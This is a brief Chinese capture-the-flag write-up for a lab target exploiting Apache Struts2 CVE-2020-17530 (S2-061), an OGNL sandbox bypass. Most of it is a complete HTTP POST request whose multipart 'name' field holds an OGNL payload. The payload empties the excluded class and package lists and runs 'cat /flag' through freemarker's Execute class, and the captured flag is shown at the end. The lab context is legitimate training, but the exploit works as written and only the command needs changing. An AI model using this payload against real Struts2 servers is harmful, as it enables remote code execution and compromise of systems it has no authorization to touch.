春秋云镜 CVE-2020-17530 S2-061

靶标介绍

对CVE-2019-0230的绕过，Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒，而CVE-2020-17530绕过了该沙盒。当对标签属性中的原始用户输入进行评估时，强制 OGNL 评估可能会导致远程代码执行。 POST name:)

启动场景

漏洞利用

EXP

POST /index.action HTTP/1.1
Host: eci-2ze8kolffjenzvo1nq33.cloudeci1.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 838------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="name"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /flag")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF----

得到flag

flag{2047b38d-8400-4fa0-a90f-afbc19c99a62}